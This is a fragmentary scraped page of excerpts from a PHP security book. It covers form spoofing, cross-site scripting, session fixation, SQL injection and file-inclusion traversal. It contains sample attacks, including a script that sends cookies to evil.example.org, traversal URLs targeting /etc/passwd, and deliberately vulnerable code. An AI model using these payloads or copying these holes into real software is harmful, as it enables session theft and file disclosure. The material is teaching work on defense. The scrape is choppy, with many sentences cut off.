By Chris Shiflett
Book Price: $29.95 USD
£20.95 GBP
PDF Price: $23.99
Cover | Table of Contents | Colophon
http://phpsecurity.org/
http://phpsec.org/
http://shiflett.org/
register_globals.register_globals directive enabled, the complexity of parsing raw form data is taken care of for you, and global variables are created from numerous remote sources. This makes writing PHP applications very easy and convenient, but it also poses a security risk.register_globals is unfairly maligned. Alone, it does not create a security vulnerability—a developer must make a mistake. However, two primary reasons you should develop and deploy applications with register_globals disabled are that it:register_globals to be disabled. Instead, I use superglobal arrays
such as $_GET and $_POST. Using these arrays is nearly as convenient as relying on register_globals, and the slight lack of convenience is well worth the increase in security.register_globals is enabled, it is very important that you initialize all variables and set error_reporting to E_ALL (or E_ALL | E_STRICT) to alert yourself to the use of uninitialized variables. Any use of an uninitialized variable is almost certainly a security vulnerability when register_globals is enabled.
$email = 'chris@example.org';
$email = 'chris@example.org';
$email is a variable that contains filtered data—the data is the important part, not the variable. A variable is just a container for the data, and it can always be overwritten later in the script with tainted data
:
$email = $_POST['email'];
$email is called a variable. If you don't want the data to change, use a constant instead:
define('EMAIL', 'chris@example.org');
EMAIL is a constant whose value is chris@example.org for the duration of the script, even if you attempt to assign it another value (perhaps by accident). For example, the following code outputs chris@example.org (the attempt to redefine EMAIL also generates a notice):chris clicks a link in your application and arrives at http://example.org/private.php?user=chris, it is reasonable to assume that he will try to see what happens when the value for user is changed. For example, he might visit http://example.org/private.php?user=rasmus to see if he can access someone else's information. While GET data is only slightly more convenient to manipulate than POST data, its increased exposure makes it a more frequent target, particularly for novice attackers.example.org email accounts. Any application that requires its users to log in needs to provide a password reminder mechanism. A common technique for this is to ask the user a question that a random attacker is unlikely to know (the mother's maiden name is a common query, but allowing the user to specify a unique question and its answer is better) and email a new password to the email address already stored in the user's account.
<form action="reset.php" method="GET">
<input type="hidden" name="user" value="chris" />
<p>Please specify the email address where you want your new password sent:</p>
<input type="text" name="email" /><br />
<input type="submit" value="Send Password" />
</form>
multipart/form-data:
<form action="upload.php" method="POST" enctype="multipart/form-data">
enctype attribute is necessary for the browser's compliance.
<input type="file" name="attachment" />
<form action="upload.php" method="POST" enctype="multipart/form-data">
<p>Please choose a file to upload:
<input type="hidden" name="MAX_FILE_SIZE" value="1024" />
<input type="file" name="attachment" /><br />
<input type="submit" value="Upload Attachment" /></p>
</form>
MAX_FILE_SIZE indicates the maximum file size (in bytes) that the browser should allow. As with any client-side restriction, this is easily defeated by an attacker, but it can act as a guide for your legitimate users. The restriction needs to be enforced on the server side in order to be considered reliable.upload_max_filesize can be used to control the maximum file size allowed, and post_max_size can potentially restrict this as well, because file uploads are included in the POST data.
<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
$comment) and corresponding name ($name):
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?>
$comment and $name. Imagine that one of them contained the following:
<script>
document.location =
'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script>
$_GET['cookies'].
<form action="buy.php" method="POST">
<p>
Item:
<select name="item">
<option name="pen">pen</option>
<option name="pencil">pencil</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form>
item and quantity. The attacker also learns that the expected values of item are pen and pencil.buy.php script processes this information:
<?php
session_start();
$clean = array();
if (isset($_REQUEST['item'] && isset($_REQUEST['quantity']))
{
/* Filter Input ($_REQUEST['item'], $_REQUEST['quantity']) */
if (buy_item($clean['item'], $clean['quantity']))
{
echo '<p>Thanks for your purchase.</p>';
}
else
{
echo '<p>There was a problem with your order.</p>';
}
}
?>
GET data can be used to perform the same action by visiting the following URL:
http://store.example.org/buy.php?item=pen&quantity=1
action as a relative URL:
<form action="process.php" method="POST">
action attribute upon form submission, and it uses the current URL to resolve relative URLs. For example, if the previous form is in the response to a request for http://example.org/path/to/form.php, the URL requested after the user submits the form is http://example.org/path/to/process.php.
<form action="http://example.org/path/to/process.php" method="POST">
action attribute to specify an absolute URL. With these modifications in place, the attacker can alter the form as desired—whether to eliminate a maxlength restriction, eliminate client-side data validation, alter the value of hidden form elements, or modify form element types to provide more flexibility. These modifications help an attacker to submit arbitrary data to the server, and the process is very easy and convenient—the attacker doesn't have to be an expert.Referer header that indicates the previously requested parent resource. In this case, Referer indicates the URL of the form. Resist the temptation to use this information to distinguish between requests sent using your form and those sent using a spoofed form. As demonstrated in the next section, HTTP headers are also easy to manipulate, and the expected value of http://example.org/form.php:
<form action="process.php" method="POST">
<p>Please select a color:
<select name="color">
<option value="red">Red</option>
<option value="green">Green</option>
<option value="blue">Blue</option>
</select><br />
<input type="submit" value="Select" /></p>
</form>
POST /process.php HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686)
Referer: http://example.org/form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
color=red
$_SERVER['HTTP_REFERER'] to prevent form spoofing. This would indeed prevent an attack that is mounted with a standard browser, but an attacker is not necessarily hindered by such minor inconveniences. By modifying the raw HTTP request, an attacker has complete control over the value of HTTP headers, GET and POST data, and quite literally, everything within the HTTP request.80). The following is an example of manually requesting the front page of http://example.org/ using this technique:
$ telnet example.org 80
Trying 192.0.34.166...
Connected to example.org (192.0.34.166).
Escape character is '^]'.
GET / HTTP/1.1
Host: example.orgSELECT query is data that is being sent to the database. Although the purpose of the query is to retrieve data, the query itself is output.<?php $db_user = 'myuser'; $db_pass = 'mypass'; $db_host = '127.0.0.1'; $db = mysql_connect($db_host, $db_user, $db_pass); ?>
myuser and mypass are sensitive, so they warrant particular attention. Their presence in your source code poses a risk, but it is an unavoidable one. Without them, your database cannot be protected with a username and password.text/plain. This poses a particular risk when a file such as db.inc is stored within document root. Every resource within document root has a corresponding URL, and because Apache does not typically have a particular content type associated with .inc files, a request for such a resource will return the source in plain text (the default type), including the database access credentials.http://example.org/inc/db.inc (assuming that example.org is the host). Visiting this URL displays the source of db.inc in plain text. Thus, your access credentials risk exposure if db.inc is stored in any subdirectory of /www, document root.include or require them—all you need to do is ensure that the web server has read privileges. Therefore, it is an unnecessary risk to place them within document root, and any method that attempts to minimize this risk without relocating all includes outside of document root is subpar. In fact, you should place only resources that absolutely must be accessible via URL within document root. It is, after all, a public directory.<form action="/login.php" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="Log In" /></p> </form>
<?php
$password_hash = md5($_POST['password']);
$sql = "SELECT count(*)
FROM users
WHERE username = '{$_POST['username']}'
AND password = '$password_hash'";
?>
Set-Cookie response header and the Cookie request header.Set-Cookie header in the response. This is a request for the client to include a corresponding Cookie header in its future requests. Figure 4-1 illustrates this basic exchange.
Cookie header), you can begin to uniquely identify clients and associate their requests together. This is all that is required for state, and this is the primary use of the mechanism.http://wp.netscape.com/newsref/std/cookie_spec.html
http://online.securityfocus.com/vulnerabilities, and you can filter these advisories by vendor, title, and version. The PHP Security Consortium
also maintains summaries of the SecurityFocus newsletters at http://phpsec.org/projects/vulnerabilities/securityfocus.html.session_set_save_handler() and writing your own session storage and retrieval functions that encrypt session data being stored and decrypt session data being read. See Appendix C for more information about encrypting
a session data store.Cookie header in all requests that satisfy the requirements set forth in a previous Set-Cookie header. Quite commonly, the session identifier is being exposed unnecessarily in requests for embedded resources, such as images. For example, to request a web page with 10 images, the session identifier is being sent by the browser in 11 different requests, but it is needed for only 1 of those. To avoid this unnecessary exposure, you might consider serving all embedded resources from a server with a different domain name.
<a href="http://example.org/index.php?PHPSESSID=1234">Click Here</a>
<?php
header('Location: http://example.org/index.php?PHPSESSID=1234');
?>
Refresh header can also be used—provided as an actual HTTP header or in the http-equiv attribute of a meta tag. The attacker's goal is to get the user to visit a URL that includes a session identifier of the attacker's choosing. This is the first step in a basic attack; the complete attack is illustrated in Figure 4-3.
GET / HTTP/1.1
Host: example.org
User-Agent: Firefox/1.0
Accept: text/html, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
User-Agent header is optional, clients that send it do not often alter its value. If the user with a session identifier of 1234 has been using Mozilla Firefox consistently since logging in, a sudden switch to Internet Explorer should be treated with suspicion. For example, prompting for the password is an effective way to mitigate the risk with minimal impact to your legitimate users in the case of a false alarm. You can check for User-Agent consistency as follows:
<?php
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
{
/* Prompt for password */
exit;
}
}
else
{
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?>
include or require in a script to divide your application into separate logical units. I also highlight and correct some common misconceptions, particularly those concerning best practices.include and require should also be assumed to include include_once and require_once.DefaultType of text/plain.
DefaultType of text/plain.
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
<?php
$authenticated = FALSE;
$authenticated = check_auth();
/* ... */
if ($authenticated)
{
include './sensitive.php';
}
?>
<?php
include "/cache/{$_GET['username']}.html";
?>
$_GET. The same vulnerability exists when any tainted data is used—using $_GET['username'] is an extreme example used for clarity.username in the URL. In fact, an attacker can display any .html file stored within /cache simply by using the name of the file (without the extension) as the value of username:
http://example.org/index.php?username=filename
.. indicates the parent directory, this string can be used for the traversal:
http://example.org/index.php?username=../admin/users
<?php
include "/cache/../admin/users.html";
?>
.. refers to the parent directory of /cache, which is the root directory. This is effectively the same as the following:
<?php
include "/admin/users.html";
?>
NULL in the URL to terminate the string. For example:http://example.org/index.php?username=../etc/passwd%00